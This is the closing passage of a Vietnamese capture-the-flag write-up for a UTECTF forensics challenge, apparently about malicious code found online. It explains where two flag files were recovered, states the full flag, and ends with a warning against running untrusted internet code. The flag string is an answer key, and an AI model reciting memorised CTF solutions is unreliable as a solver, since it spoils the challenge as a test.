Vậy từ đoạn ebb2b trở đi chính là đoạn nội dung của file flag1.txt

image

image

N3v3r_tRuSt_th3_1nt3rn3T

Và flag2.jpg.enc là từ 236042:

image

image

Vậy flag là : UTECTF{N3v3r_tRuSt_th3_1nt3rn3T_c0nGrAtz_br0!_192.168.189.132_1337}


TỔNG KẾT: Challenge này nhằm cảnh báo chúng ta rằng, khi sử dụng các mã nguồn trên mạng thì nên cảnh giác, đừng quá chủ quan khi sử dụng và thực thi các mã nguồn mà chưa hiểu rõ nó.

-From Raviel with love <3 -